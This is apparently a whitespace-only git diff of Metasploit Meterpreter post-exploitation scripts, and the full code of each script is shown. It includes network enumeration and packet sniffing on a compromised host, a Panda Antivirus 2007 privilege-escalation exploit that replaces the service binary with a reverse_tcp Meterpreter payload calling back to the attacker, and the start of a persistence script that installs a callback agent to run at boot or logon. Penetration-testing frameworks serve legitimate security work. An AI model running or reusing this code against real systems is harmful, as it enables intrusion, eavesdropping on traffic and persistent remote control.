--git a/scripts/meterpreter/netenum.rb b/scripts/meterpreter/netenum.rb index f3cb4c31a5..50ca71a519 100644 --- a/scripts/meterpreter/netenum.rb +++ b/scripts/meterpreter/netenum.rb @@ -5,15 +5,15 @@ #Note: ################## Variable Declarations ################## @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-r" => [ true, "The target address range or CIDR identifier" ], - "-ps" => [ false, "To Perform Ping Sweep on IP Range" ], - "-rl" => [ false, "To Perform DNS Reverse Lookup on IP Range" ], - "-fl" => [ false, "To Perform DNS Forward Lookup on host list and domain" ], - "-hl" => [ true, "File with Host List for DNS Forward Lookup" ], - "-d" => [ true, "Domain Name for DNS Forward Lookup" ], - "-st" => [ false, "To Perform DNS lookup of MX and NS records for a domain" ], - "-sr" => [ false, "To Perform Service Record DNS lookup for a domain" ] + "-h" => [ false, "Help menu." ], + "-r" => [ true, "The target address range or CIDR identifier" ], + "-ps" => [ false, "To Perform Ping Sweep on IP Range" ], + "-rl" => [ false, "To Perform DNS Reverse Lookup on IP Range" ], + "-fl" => [ false, "To Perform DNS Forward Lookup on host list and domain" ], + "-hl" => [ true, "File with Host List for DNS Forward Lookup" ], + "-d" => [ true, "Domain Name for DNS Forward Lookup" ], + "-st" => [ false, "To Perform DNS lookup of MX and NS records for a domain" ], + "-sr" => [ false, "To Perform Service Record DNS lookup for a domain" ] ) session = client host,port = session.session_host, session.session_port @@ -33,233 +33,233 @@ dest = logs + "/" + host + filenameinfo #------------------------------------------------------------------------------- # Function for performing regular lookup of MX and NS records def stdlookup(session, domain, dest) - dest = dest + "-general-record-lookup.txt" - print_status("Getting MX and NS Records for domain #{domain}") - filewrt(dest,"SOA, NS and MX Records for domain #{domain}") - types = ["SOA","NS","MX"] - mxout = [] - results = [] - garbage = [] - types.each do |t| - begin - r = session.sys.process.execute("nslookup -type=#{t} #{domain}", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - mxout << d - end - r.channel.close - r.close - results = mxout.join.split(/\n/) - results.each do |rec| - if rec.match(/\s*internet\saddress\s\=\s/) - garbage << rec.split(/\s*internet\saddress\s\=/) - print_status("#{garbage[0].join.sub(" "," ")} #{t} ") - filewrt(dest,garbage[0].join.sub(" "," ")+" #{t} ") - garbage.clear - end - garbage.clear - end + dest = dest + "-general-record-lookup.txt" + print_status("Getting MX and NS Records for domain #{domain}") + filewrt(dest,"SOA, NS and MX Records for domain #{domain}") + types = ["SOA","NS","MX"] + mxout = [] + results = [] + garbage = [] + types.each do |t| + begin + r = session.sys.process.execute("nslookup -type=#{t} #{domain}", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + mxout << d + end + r.channel.close + r.close + results = mxout.join.split(/\n/) + results.each do |rec| + if rec.match(/\s*internet\saddress\s\=\s/) + garbage << rec.split(/\s*internet\saddress\s\=/) + print_status("#{garbage[0].join.sub(" "," ")} #{t} ") + filewrt(dest,garbage[0].join.sub(" "," ")+" #{t} ") + garbage.clear + end + garbage.clear + end - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - end - end + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + end + end end #------------------------------------------------------------------------------- # Function for writing results of other functions to a file def filewrt(file2wrt, data2wrt) - output = ::File.open(file2wrt, "ab") - data2wrt.each_line do |d| - output.puts(d) - end - output.close + output = ::File.open(file2wrt, "ab") + data2wrt.each_line do |d| + output.puts(d) + end + output.close end #------------------------------------------------------------------------------- # Function for Executing Reverse lookups def reverselookup(session, iprange, dest) - dest = dest + "-DNS-reverse-lookup.txt" - print_status("Performing DNS reverse lookup for IP range #{iprange}") - filewrt(dest,"DNS reverse lookup for IP range #{iprange}") - iplst =[] - i, a = 0, [] - begin - ipadd = Rex::Socket::RangeWalker.new(iprange) - numip = ipadd.num_ips - while (iplst.length < numip) - ipa = ipadd.next_ip - if (not ipa) - break - end - iplst << ipa - end - begin - iplst.each do |ip| - if i < 10 - a.push(::Thread.new { - r = session.sys.process.execute("nslookup #{ip}", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - if d =~ /(Name)/ - d.scan(/Name:\s*\S*\s/) do |n| - hostname = n.split(": ") - print_status "\t #{ip} is #{hostname[1].chomp("\n")}" - filewrt(dest,"#{ip} is #{hostname[1].chomp("\n")}") - end - break + dest = dest + "-DNS-reverse-lookup.txt" + print_status("Performing DNS reverse lookup for IP range #{iprange}") + filewrt(dest,"DNS reverse lookup for IP range #{iprange}") + iplst =[] + i, a = 0, [] + begin + ipadd = Rex::Socket::RangeWalker.new(iprange) + numip = ipadd.num_ips + while (iplst.length < numip) + ipa = ipadd.next_ip + if (not ipa) + break + end + iplst << ipa + end + begin + iplst.each do |ip| + if i < 10 + a.push(::Thread.new { + r = session.sys.process.execute("nslookup #{ip}", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + if d =~ /(Name)/ + d.scan(/Name:\s*\S*\s/) do |n| + hostname = n.split(": ") + print_status "\t #{ip} is #{hostname[1].chomp("\n")}" + filewrt(dest,"#{ip} is #{hostname[1].chomp("\n")}") + end + break - end + end - end + end - r.channel.close - r.close + r.channel.close + r.close - }) - i += 1 - else - sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? - i = 0 - end - end - a.delete_if {|x| not x.alive?} while not a.empty? - end - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - end + }) + i += 1 + else + sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? + i = 0 + end + end + a.delete_if {|x| not x.alive?} while not a.empty? + end + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + end end #------------------------------------------------------------------------------- #Function for Executing Forward Lookups def frwdlp(session, hostlst, domain, dest) - dest = dest + "-DNS-forward-lookup.txt" - print_status("Performing DNS forward lookup for hosts in #{hostlst} for domain #{domain}") - filewrt(dest,"DNS forward lookup for hosts in #{hostlst} for domain #{domain}") - result = [] - threads = [] - tmpout = [] - begin - if ::File.exists?(hostlst) - ::File.open(hostlst).each {|line| - threads << ::Thread.new(line) { |h| - #print_status("checking #{h.chomp}") - r = session.sys.process.execute("nslookup #{h.chomp}.#{domain}", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - if d =~ /(Name)/ - d.scan(/Name:\s*\S*\s*Address\w*:\s*.*?.*?.*/) do |n| - tmpout << n.split - end - break - end - end + dest = dest + "-DNS-forward-lookup.txt" + print_status("Performing DNS forward lookup for hosts in #{hostlst} for domain #{domain}") + filewrt(dest,"DNS forward lookup for hosts in #{hostlst} for domain #{domain}") + result = [] + threads = [] + tmpout = [] + begin + if ::File.exists?(hostlst) + ::File.open(hostlst).each {|line| + threads << ::Thread.new(line) { |h| + #print_status("checking #{h.chomp}") + r = session.sys.process.execute("nslookup #{h.chomp}.#{domain}", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + if d =~ /(Name)/ + d.scan(/Name:\s*\S*\s*Address\w*:\s*.*?.*?.*/) do |n| + tmpout << n.split + end + break + end + end - r.channel.close - r.close - } - } - threads.each { |aThread| aThread.join } - tmpout.uniq.each do |t| - print_status("\t#{t.join.sub(/Address\w*:/, "\t")}") - filewrt(dest,"#{t.join.sub(/Address\w*:/, "\t")}") - end + r.channel.close + r.close + } + } + threads.each { |aThread| aThread.join } + tmpout.uniq.each do |t| + print_status("\t#{t.join.sub(/Address\w*:/, "\t")}") + filewrt(dest,"#{t.join.sub(/Address\w*:/, "\t")}") + end - else - print_status("File #{hostlst} doesn't exists!") - exit - end - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - end + else + print_status("File #{hostlst} doesn't exists!") + exit + end + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + end end #------------------------------------------------------------------------------- #Function for Executing Ping Sweep def pingsweep(session, iprange, dest) - dest = dest + "-pingsweep.txt" - print_status("Performing ping sweep for IP range #{iprange}") - filewrt(dest,"Ping sweep for IP range #{iprange}") - iplst = [] - begin - i, a = 0, [] - ipadd = Rex::Socket::RangeWalker.new(iprange) - numip = ipadd.num_ips - while (iplst.length < numip) - ipa = ipadd.next_ip - if (not ipa) - break - end - iplst << ipa - end - begin - iplst.each do |ip| - if i < 10 - a.push(::Thread.new { - r = session.sys.process.execute("ping #{ip} -n 1", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - if d =~ /(Reply)/ - print_status "\t#{ip} host found" - filewrt(dest,"#{ip} host found") - r.channel.close - elsif d =~ /(Antwort)/ - print_status "\t#{ip} host found" - filewrt(dest,"#{ip} host found") - r.channel.close - end - end - r.channel.close - r.close + dest = dest + "-pingsweep.txt" + print_status("Performing ping sweep for IP range #{iprange}") + filewrt(dest,"Ping sweep for IP range #{iprange}") + iplst = [] + begin + i, a = 0, [] + ipadd = Rex::Socket::RangeWalker.new(iprange) + numip = ipadd.num_ips + while (iplst.length < numip) + ipa = ipadd.next_ip + if (not ipa) + break + end + iplst << ipa + end + begin + iplst.each do |ip| + if i < 10 + a.push(::Thread.new { + r = session.sys.process.execute("ping #{ip} -n 1", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + if d =~ /(Reply)/ + print_status "\t#{ip} host found" + filewrt(dest,"#{ip} host found") + r.channel.close + elsif d =~ /(Antwort)/ + print_status "\t#{ip} host found" + filewrt(dest,"#{ip} host found") + r.channel.close + end + end + r.channel.close + r.close - }) - i += 1 - else - sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? - i = 0 - end - end - a.delete_if {|x| not x.alive?} while not a.empty? - end - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - end + }) + i += 1 + else + sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? + i = 0 + end + end + a.delete_if {|x| not x.alive?} while not a.empty? + end + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + end end #------------------------------------------------------------------------------- #Function for enumerating srv records def srvreclkp(session, domain, dest) - dest = dest + "-srvenum.txt" - srout = [] - garbage = [] - srvrcd = [ - "_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.", - "_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.", - "_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp." - ] - print_status("Performing SRV record enumeration for #{domain}") - filewrt(dest,"SRV record enumeration for #{domain}") - srvrcd.each do |srv| - r = session.sys.process.execute("nslookup -query=srv #{srv}#{domain}", nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - srout << d - end - r.channel.close - r.close - results = srout.join.split(/\n/) - results.each do |rec| - if rec.match(/\s*internet\saddress\s\=\s/) - garbage << rec.split(/\s*internet\saddress\s\=/) - print_status("\tfor #{srv}#{domain} #{garbage[0].join.sub(" "," ")}") - filewrt(dest,"for #{srv}#{domain} #{garbage[0].join.sub(" "," ")}") - garbage.clear - end - garbage.clear - srout.clear - end - end + dest = dest + "-srvenum.txt" + srout = [] + garbage = [] + srvrcd = [ + "_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.", + "_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.", + "_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp." + ] + print_status("Performing SRV record enumeration for #{domain}") + filewrt(dest,"SRV record enumeration for #{domain}") + srvrcd.each do |srv| + r = session.sys.process.execute("nslookup -query=srv #{srv}#{domain}", nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + srout << d + end + r.channel.close + r.close + results = srout.join.split(/\n/) + results.each do |rec| + if rec.match(/\s*internet\saddress\s\=\s/) + garbage << rec.split(/\s*internet\saddress\s\=/) + print_status("\tfor #{srv}#{domain} #{garbage[0].join.sub(" "," ")}") + filewrt(dest,"for #{srv}#{domain} #{garbage[0].join.sub(" "," ")}") + garbage.clear + end + garbage.clear + srout.clear + end + end end #------------------------------------------------------------------------------- #Function to print message during run def message(dest) - print_status "Network Enumerator Meterpreter Script " - print_status "Log file being saved in #{dest}" + print_status "Network Enumerator Meterpreter Script " + print_status "Log file being saved in #{dest}" end ################## MAIN ################## @@ -276,82 +276,82 @@ srvrc = nil # Parsing of Options @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-sr" - srvrc = 1 - when "-rl" - rvrslkp = 1 - when "-fl" - frdlkp = 1 - when "-ps" - pngsp = 1 - when "-st" - stdlkp = 1 - when "-d" - dom = val - when "-hl" - hostlist = val - when "-r" - range = val - when "-h" - print( - "Network Enumerator Meterpreter Script\n" + - "Usage:\n" + - @@exec_opts.usage - ) - helpcall = 1 - end + case opt + when "-sr" + srvrc = 1 + when "-rl" + rvrslkp = 1 + when "-fl" + frdlkp = 1 + when "-ps" + pngsp = 1 + when "-st" + stdlkp = 1 + when "-d" + dom = val + when "-hl" + hostlist = val + when "-r" + range = val + when "-h" + print( + "Network Enumerator Meterpreter Script\n" + + "Usage:\n" + + @@exec_opts.usage + ) + helpcall = 1 + end } if client.platform =~ /win32|win64/ - if pngsp == 1 - if range != nil - message(logs) - pingsweep(session, range, dest) - else - print_error("Please add a range to scan: -r <value>") - end - elsif rvrslkp == 1 - if range != nil - message(logs) - reverselookup(session, range, dest) - else - print_error("Please add a range to scan: -r <value>") - end - elsif frdlkp == 1 - if dom != nil && hostlist!= nil && - message(logs) - frwdlp(session, hostlist, dom, dest) - elsif dom == nil - print_error("Please add a domain name for DNS forward lookup: -d <value>") - elsif hostlist == nil - print_error("Please add a file with host list for DNS forward lookup: -hl <value>") - else - print_error("Something went wront") - end - elsif stdlkp == 1 - if dom != nil - message(logs) - stdlookup(session, dom, dest) - else - print_error("Please add a domain name for DNS forward lookup: -d <value>") - end - elsif srvrc == 1 - if dom != nil - message(logs) - srvreclkp(session, dom, dest) - else - print_error("Please add a domain name for DNS forward lookup: -d <value>") - end - else - print("Network Enumerator Meterpreter Script\n" + - "Usage:\n" + - "\tnetenum -r <value> (-ps | -rl)\n" + - "\tnetenum -d <value> (-st | -sr)\n" + - "\tnetenum -d <value> -lh <value> -fl\n" + - @@exec_opts.usage) - end + if pngsp == 1 + if range != nil + message(logs) + pingsweep(session, range, dest) + else + print_error("Please add a range to scan: -r <value>") + end + elsif rvrslkp == 1 + if range != nil + message(logs) + reverselookup(session, range, dest) + else + print_error("Please add a range to scan: -r <value>") + end + elsif frdlkp == 1 + if dom != nil && hostlist!= nil && + message(logs) + frwdlp(session, hostlist, dom, dest) + elsif dom == nil + print_error("Please add a domain name for DNS forward lookup: -d <value>") + elsif hostlist == nil + print_error("Please add a file with host list for DNS forward lookup: -hl <value>") + else + print_error("Something went wront") + end + elsif stdlkp == 1 + if dom != nil + message(logs) + stdlookup(session, dom, dest) + else + print_error("Please add a domain name for DNS forward lookup: -d <value>") + end + elsif srvrc == 1 + if dom != nil + message(logs) + srvreclkp(session, dom, dest) + else + print_error("Please add a domain name for DNS forward lookup: -d <value>") + end + else + print("Network Enumerator Meterpreter Script\n" + + "Usage:\n" + + "\tnetenum -r <value> (-ps | -rl)\n" + + "\tnetenum -d <value> (-st | -sr)\n" + + "\tnetenum -d <value> -lh <value> -fl\n" + + @@exec_opts.usage) + end else - print_error("This version of Meterpreter is not supported with this script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/packetrecorder.rb b/scripts/meterpreter/packetrecorder.rb index 049a41924c..72b7d546a3 100644 --- a/scripts/meterpreter/packetrecorder.rb +++ b/scripts/meterpreter/packetrecorder.rb @@ -16,11 +16,11 @@ list_int = nil # Log Folder log_dest = nil @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."], - "-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."], - "-i" => [ true, "Interface ID number where all packet capture will be done."], - "-li" => [ false, "List interfaces that can be used for capture."], - "-l" => [ true, "Specify and alternate folder to save PCAP file."] + "-h" => [ false, "Help menu."], + "-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."], + "-i" => [ true, "Interface ID number where all packet capture will be done."], + "-li" => [ false, "List interfaces that can be used for capture."], + "-l" => [ true, "Specify and alternate folder to save PCAP file."] ) meter_type = client.platform @@ -29,184 +29,184 @@ meter_type = client.platform # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for capturing packets in to a PCAP file" - print_line "on a target host given a interface ID." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for capturing packets in to a PCAP file" + print_line "on a target host given a interface ID." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Function for creating log folder and returning log pa #------------------------------------------------------------------------------- def log_file(log_path = nil) - #Get hostname - host = @client.sys.config.sysinfo["Computer"] + #Get hostname + host = @client.sys.config.sysinfo["Computer"] - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', 'packetrecorder', host + filenameinfo ) - else - logs = ::File.join(Msf::Config.log_directory, "scripts", 'packetrecorder', host + filenameinfo ) - end + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'packetrecorder', host + filenameinfo ) + else + logs = ::File.join(Msf::Config.log_directory, "scripts", 'packetrecorder', host + filenameinfo ) + end - # Create the log directory - ::FileUtils.mkdir_p(logs) + # Create the log directory + ::FileUtils.mkdir_p(logs) - #logfile name - logfile = logs + ::File::Separator + host + filenameinfo + ".cap" - return Rex::FileUtils.clean_path(logfile) + #logfile name + logfile = logs + ::File::Separator + host + filenameinfo + ".cap" + return Rex::FileUtils.clean_path(logfile) end #Function for Starting Capture #------------------------------------------------------------------------------- def startsniff(interface_id) - begin - #Load Sniffer module - @client.core.use("sniffer") - print_status("Starting Packet capture on interface #{interface_id}") - #starting packet capture with a buffer size of 200,000 packets - @client.sniffer.capture_start(interface_id, 200000) - print_good("Packet capture started") - rescue ::Exception => e - print_status("Error Starting Packet Capture: #{e.class} #{e}") - raise Rex::Script::Completed - end + begin + #Load Sniffer module + @client.core.use("sniffer") + print_status("Starting Packet capture on interface #{interface_id}") + #starting packet capture with a buffer size of 200,000 packets + @client.sniffer.capture_start(interface_id, 200000) + print_good("Packet capture started") + rescue ::Exception => e + print_status("Error Starting Packet Capture: #{e.class} #{e}") + raise Rex::Script::Completed + end end #Function for Recording captured packets into PCAP file #------------------------------------------------------------------------------- def packetrecord(packtime, logfile,intid) - begin - rec = 1 - print_status("Packets being saved in to #{logfile}") - print_status("Packet capture interval is #{packtime} Seconds") - #Inserting Packets every number of seconds specified - while rec == 1 - path_cap = logfile - path_raw = logfile + '.raw' - fd = ::File.new(path_raw, 'wb+') - #Flushing Buffers - res = @client.sniffer.capture_dump(intid) - bytes_all = res[:bytes] || 0 - bytes_got = 0 - bytes_pct = 0 - while (bytes_all > 0) - res = @client.sniffer.capture_dump_read(intid,1024*512) - bytes_got += res[:bytes] - pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i - if(pct > bytes_pct) - bytes_pct = pct - end - break if res[:bytes] == 0 - fd.write(res[:data]) - end + begin + rec = 1 + print_status("Packets being saved in to #{logfile}") + print_status("Packet capture interval is #{packtime} Seconds") + #Inserting Packets every number of seconds specified + while rec == 1 + path_cap = logfile + path_raw = logfile + '.raw' + fd = ::File.new(path_raw, 'wb+') + #Flushing Buffers + res = @client.sniffer.capture_dump(intid) + bytes_all = res[:bytes] || 0 + bytes_got = 0 + bytes_pct = 0 + while (bytes_all > 0) + res = @client.sniffer.capture_dump_read(intid,1024*512) + bytes_got += res[:bytes] + pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i + if(pct > bytes_pct) + bytes_pct = pct + end + break if res[:bytes] == 0 + fd.write(res[:data]) + end - fd.close - #Converting raw file to PCAP - fd = nil - if(::File.exist?(path_cap)) - fd = ::File.new(path_cap, 'ab+') - else - fd = ::File.new(path_cap, 'wb+') - fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN')) - end - od = ::File.new(path_raw, 'rb') + fd.close + #Converting raw file to PCAP + fd = nil + if(::File.exist?(path_cap)) + fd = ::File.new(path_cap, 'ab+') + else + fd = ::File.new(path_cap, 'wb+') + fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN')) + end + od = ::File.new(path_raw, 'rb') - # TODO: reorder packets based on the ID (only an issue if the buffer wraps) - while(true) - buf = od.read(20) - break if not buf + # TODO: reorder packets based on the ID (only an issue if the buffer wraps) + while(true) + buf = od.read(20) + break if not buf - idh,idl,thi,tlo,len = buf.unpack('N5') - break if not len - if(len > 10000) - print_error("Corrupted packet data (length:#{len})") - break - end + idh,idl,thi,tlo,len = buf.unpack('N5') + break if not len + if(len > 10000) + print_error("Corrupted packet data (length:#{len})") + break + end - pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo) - pkt = od.read(len) - fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt) - end - od.close - fd.close + pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo) + pkt = od.read(len) + fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt) + end + od.close + fd.close - ::File.unlink(path_raw) - sleep(2) - sleep(packtime.to_i) + ::File.unlink(path_raw) + sleep(2) + sleep(packtime.to_i) - end - rescue::Exception => e - print("\n") - print_status("#{e.class} #{e}") - print_good("Stopping Packet sniffer...") - @client.sniffer.capture_stop(intid) - end + end + rescue::Exception => e + print("\n") + print_status("#{e.class} #{e}") + print_good("Stopping Packet sniffer...") + @client.sniffer.capture_stop(intid) + end end # Function for listing interfaces # ------------------------------------------------------------------------------ def int_list() - begin - @client.core.use("sniffer") - ifaces = @client.sniffer.interfaces() + begin + @client.core.use("sniffer") + ifaces = @client.sniffer.interfaces() - print_line() + print_line() - ifaces.each do |i| - print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )", - i['idx'], i['description'], - i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless']) - ) - end + ifaces.each do |i| + print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )", + i['idx'], i['description'], + i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless']) + ) + end - print_line() - rescue ::Exception => e - print_error("Error listing interface: #{e.class} #{e}") - end - raise Rex::Script::Completed + print_line() + rescue ::Exception => e + print_error("Error listing interface: #{e.class} #{e}") + end + raise Rex::Script::Completed end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-i" - int_id = val.to_i - when "-l" - log_dest = val - when "-li" - list_int = 1 - when "-t" - rec_time = val - end + case opt + when "-h" + usage + when "-i" + int_id = val.to_i + when "-l" + log_dest = val + when "-li" + list_int = 1 + when "-t" + rec_time = val + end } # Check for Version of Meterpreter wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i if !int_id.nil? or !list_int.nil? - if not is_uac_enabled? or is_admin? - if !list_int.nil? - int_list - else - pcap_file = log_file(log_dest) - startsniff(int_id) - packetrecord(rec_time,pcap_file,int_id) - end - else - print_error("Access denied (UAC enabled?)") - end + if not is_uac_enabled? or is_admin? + if !list_int.nil? + int_list + else + pcap_file = log_file(log_dest) + startsniff(int_id) + packetrecord(rec_time,pcap_file,int_id) + end + else + print_error("Access denied (UAC enabled?)") + end else - usage + usage end diff --git a/scripts/meterpreter/panda_2007_pavsrv51.rb b/scripts/meterpreter/panda_2007_pavsrv51.rb index 5c1b41014d..9ba0d699ed 100644 --- a/scripts/meterpreter/panda_2007_pavsrv51.rb +++ b/scripts/meterpreter/panda_2007_pavsrv51.rb @@ -21,9 +21,9 @@ # Options # @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"] + "-h" => [ false, "This help menu"], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening"] ) # @@ -33,76 +33,76 @@ rhost = nil rport = nil def usage - print_status("Panda Antivirus 2007 Privilege Escalation.") - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_status("Panda Antivirus 2007 Privilege Escalation.") + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # # Option parsing # @exec_opts.parse(args) do |opt, idx, val| - case opt - when "-r" - rhost = val - when "-p" - rport = val.to_i - else - usage - end + case opt + when "-r" + rhost = val + when "-p" + rport = val.to_i + else + usage + end end if rhost.nil? or rport.nil? - usage + usage elsif client.platform =~ /win32|win64/ - client.sys.process.get_processes().each do |m| + client.sys.process.get_processes().each do |m| - if ( m['name'] =~ /PAVSRV51\.EXE/ ) - print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") + if ( m['name'] =~ /PAVSRV51\.EXE/ ) + print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") - # Build out the exe payload. - pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - raw = pay.generate + # Build out the exe payload. + pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") + pay.datastore['LHOST'] = rhost + pay.datastore['LPORT'] = rport + raw = pay.generate - exe = Msf::Util::EXE.to_win32pe(client.framework, raw) + exe = Msf::Util::EXE.to_win32pe(client.framework, raw) - # Change to our working directory. - workingdir = client.fs.file.expand_path("%ProgramFiles%") - client.fs.dir.chdir(workingdir + "\\Panda Software\\Panda Antivirus 2007\\") + # Change to our working directory. + workingdir = client.fs.file.expand_path("%ProgramFiles%") + client.fs.dir.chdir(workingdir + "\\Panda Software\\Panda Antivirus 2007\\") - # Create a backup of the original exe. - print_status("Creating a copy of PAVSRV51 (PAVSRV51_back.EXE)...") - client.sys.process.execute("cmd.exe /c rename PAVSRV51.EXE PAVSRV51_back.EXE", nil, {'Hidden' => 'true'}) + # Create a backup of the original exe. + print_status("Creating a copy of PAVSRV51 (PAVSRV51_back.EXE)...") + client.sys.process.execute("cmd.exe /c rename PAVSRV51.EXE PAVSRV51_back.EXE", nil, {'Hidden' => 'true'}) - # Place our newly created exe with the orginal binary name. - tempdir = client.fs.file.expand_path("%ProgramFiles%") - tempexe = tempdir + "\\Panda Software\\Panda Antivirus 2007\\" + "PAVSRV51.EXE" + # Place our newly created exe with the orginal binary name. + tempdir = client.fs.file.expand_path("%ProgramFiles%") + tempexe = tempdir + "\\Panda Software\\Panda Antivirus 2007\\" + "PAVSRV51.EXE" - print_status("Sending EXE payload '#{tempexe}'.") - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close + print_status("Sending EXE payload '#{tempexe}'.") + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close - print_status("Done, now just wait for the callback...") + print_status("Done, now just wait for the callback...") - # Our handler to recieve the callback. - handler = client.framework.exploits.create("multi/handler") - handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" - handler.datastore['LHOST'] = rhost - handler.datastore['LPORT'] = rport - # Keep our shell stable. - handler.datastore['InitialAutoRunScript'] = "migrate -f" - handler.datastore['ExitOnSession'] = false + # Our handler to recieve the callback. + handler = client.framework.exploits.create("multi/handler") + handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" + handler.datastore['LHOST'] = rhost + handler.datastore['LPORT'] = rport + # Keep our shell stable. + handler.datastore['InitialAutoRunScript'] = "migrate -f" + handler.datastore['ExitOnSession'] = false - handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - end - end + handler.exploit_simple( + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + end + end else - print_error("This version of Meterpreter is not supported with this script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/persistence.rb b/scripts/meterpreter/persistence.rb index 948f4fbd6a..4e9a8aa922 100644 --- a/scripts/meterpreter/persistence.rb +++ b/scripts/meterpreter/persistence.rb @@ -22,17 +22,17 @@ script_on_target = nil @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"], - "-i" => [ true, "The interval in seconds between each connection attempt"], - "-X" => [ false, "Automatically start the agent when the system boots"], - "-U" => [ false, "Automatically start the agent when the User logs on"], - "-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"], - "-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"], - "-L" => [ true, "Location in target host where to write payload to, if none \%TEMP\% will be used."], - "-T" => [ true, "Alternate executable template to use"], - "-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."] + "-h" => [ false, "This help menu"], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening"], + "-i" => [ true, "The interval in seconds between each connection attempt"], + "-X" => [ false, "Automatically start the agent when the system boots"], + "-U" => [ false, "Automatically start the agent when the User logs on"], + 